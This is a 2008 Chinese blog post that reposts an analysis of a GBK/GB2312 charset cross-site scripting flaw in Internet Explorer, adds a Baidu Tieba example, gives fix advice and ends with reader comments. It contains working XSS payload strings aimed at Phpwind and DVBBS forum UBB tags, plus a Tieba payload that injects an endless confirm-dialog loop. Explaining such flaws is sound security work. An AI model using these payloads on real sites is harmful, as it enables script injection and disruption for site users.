百度首页 | 百度空间
 
查看文章
 
百度贴吧的字符集漏洞
2008-07-10 12:30

什么是字符集漏洞?

(转自http://www.80sec.com/charset-xss.html

前言:这种利用类型的攻击早在06年就被安全研究人员指出,不过一直没有在国内重视。而由于我们国内大部分站点正是这种有漏洞的字符集,所以影响还是比较大,希望各大站快速修复。可以看看http://applesoup.googlepages.com/。

文中<已经被替换为<,如果需要文档,请访问http://www.80sec.com/release/charset-xss.txt

在一般的web程序里,显示数据给浏览器的时候都会指定一个字符集,在国内平时我们用到的字符集有utf-8,GBK,gb2312等等,字符集指示了浏览器该如何对待返回的数据。其中gb2312和GBK字符集使用得非常广泛,但是经证明,IE在处理这些宽字符集的时候存在问题,导致可能程序的一些安全规则被Bypass掉,引发严重的跨站脚本安全漏洞。在IE里,如果它遇到一个字符,它是指定字符集里的第一位的时候,就会认为其后续字符和当前字符构成一个合法的字符,这样它在解析包括html标签,处理javascript,Css时都会做如此考虑,测试版本为ie6和ie7。

1 Bypass某些js的检查规则

<HTML>
<HEAD>
<TITLE>80sec test</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
</HEAD>
<BODY>
<script>
window.onerror=function(){
alert('Vul');
return true;
}
</script>
<script>x='<?php echo chr(0xC1);?>';y='[User_IN_PUT]‘;</script>
</BODY>
</HTML>

这里即使是过滤了<>’\等字符一样可以利用非法字符集序列来实现\的作用,因为它会把原来存在的’给结合掉,然后前面的’找不到闭合,后面[User_IN_PUT]就可以用来执行js代码了。

2 Bypass某些属性的检查规则

为了避免直接使用html导致出现漏洞,一些论坛和程序使用了UBB标签,但是在gbk等多字节编码下,一样容易出现问题,以最容易出现问题的一个UBB标签为例子:

[color=xyz<?php echo chr(0xC1);?>][/color][color=abc onmouseover=alert(/xss/) s=<?php echo chr(0xC1);?>]exploited[/color]

0xC1是一个gb2312的第一个字节,上面结果将会转化为:

<font color="xyz?></font><font color="abc onmouseover=alert(/xss/) s=?>exploited</font>

其中的alert(/xss/)将会做一个事件执行,所以即使UBB标签也变得不安全,能饶过”的保护。许多论坛都没有注意这点,phpwind,动网等论坛就容易受到这种攻击。而Discuz通过在转换结果之后附加一个空格,修补了这一安全问题。这里使用到ubb标签其实有一个很有意思的tips在里面,因为有的数据库会抛弃与指定字符集不匹配的字符,所以必须借助后面的]等字符来形成一个有效的汉字才能存储到数据库里,当然像ACCESS这种就不会有问题了,另外一些语言在处理字符串的时候会强制字符串的字符集类型,不合法的字符会导致转码的失败或者遭到抛弃,所以也不能利用这种类型的攻击。

3 几个小例子

Phpwind论坛charset跨站脚本漏洞

[email=xxxx羃[/email][email=xxxx onmouseover=alert() s=羃]Fuck Me[/email]
[font=宋体;0xc1]xxx[/font][url=http://onmouseover=alert()//]xx[/url]


羃是一个特殊的十六进制编码和后面的]结合出来的字符,第一个种方法可以直接复制的:)
0xc1表示一个十六进制的字符编码

同样在dvbbs论坛也很容易产生一个xss代码如下

<font face="微软雅羃>xxxxxxxxxxx</font><font face=" onmouseover=alert() x=羃>xxxxxxxxxxx</font>

均在新版和老版测试通过。

4 关于修复

对于程序设计者,由于UTF-8字符集的可靠性,不存在这个安全漏洞,所以大家在设计站点的时候可以考虑使用UTF-8字符集。
对于广大开发者,可以牢记最小输入等于最大安全的原则,在匹配正则的时候限制输入的字符的范围,尽量匹配ascii字符,如果必须使用中文,可以考虑类似于discuz的在中文后面添加空格修复该问题。
对于广大用户,这个漏洞由于浏览器处理页面字符的不同,可以考虑使用如Firefox浏览器,可以避免一部分这样的问题。

百度贴吧的字符集漏洞:

这个不是我发现的,是从々河东飞虎々 那里看到的,这里留个记载。

------->  &39;}}for(;;)window.confirm(1);function(){if(2){if(2)2// <-----------

&#39;前面也是一个特殊字符,为&#63733;

放进去后的样子:

if(no == null||no == ""){
if(title == null || title == '')
title_src = ' '}}for(;;)window.confirm(1);function(){if(2){if(2)2// ';
else
title_src = title;
}

Over!

Monyer


类别:脚本攻防 | 添加到搜藏 | 浏览() | 评论 (28)
 
网友评论:
1
2008-07-10 12:31
我不能登陆了啊 monyer大哥
我是老虎
 
2
2008-07-10 12:31
唉``早知道不玩了
 
3
2008-07-10 12:32
被管理员封了?
 
4
2008-07-10 12:33
郁闷死我了 找百度求情去
 
5
2008-07-10 12:34
不能登陆啊
不知道能不能恢复
 
6
2008-07-10 12:35
你从哪发现的漏洞啊?自己?
 
7
2008-07-10 12:36
你不是去了我空间吗
我看了看那个帖子的源码才知道的
 
8
2008-07-10 12:37
汗,你真倒霉!
 
9
2008-07-10 12:38
连Hi都不能登陆 百度这次玩狠的啊
 
10
2008-07-10 13:12
我从老虎那儿先看到了。。。。。。但不懂= =。。。。

源代码。。。对我来说就是一堆英语。。不懂。
 
11
2008-07-10 13:14
为什么会不能登陆??????难道进了贴子的人都会有一定症状发生??
 
12
2008-07-10 13:21
百度发飙了
你接他的老底。
 
13
2008-07-10 13:24
k哈哈
 
14
2008-07-10 13:39
又是IE。
 
15
2008-07-10 14:16
受益菲浅!奉军委命令前来支持!
 
16
2008-07-10 14:16
兄弟总能发现漏洞~强悍啊
 
17
2008-07-10 15:39
级别不够,看不懂E文
 
18
2008-07-10 18:32
发飙了
 
19
2008-07-11 08:32
我现在只想给空间插个Flash播放器,哪知道百度连以swf结尾的url都不让插
 
20
2008-07-11 08:50

看不懂耶
 
21
2008-07-11 09:29
OMG,同情中
 
22
2008-07-11 12:02
百度会以为你有不良企图……
 
23
2008-07-11 18:46
看了三遍,终于明白怎么回事了。这个漏洞为害很大啊。
 
24
2008-07-12 15:57
看来大家都没搞懂这个BUG,以后WEB安全的门槛可以稍微有点提高了 :)
 
25
2008-07-12 22:31
我就是纳闷~
现在是搬家到哪好呢
好多blog不支持从百度搬家
好多blog不支持自定义css
...
大家帮我推荐推荐吧
 
26
2008-07-12 22:54
`
 
27
2008-07-13 21:07
看不懂
 
28
2008-07-31 12:18
长学问
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码:
 

     

©2008 Baidu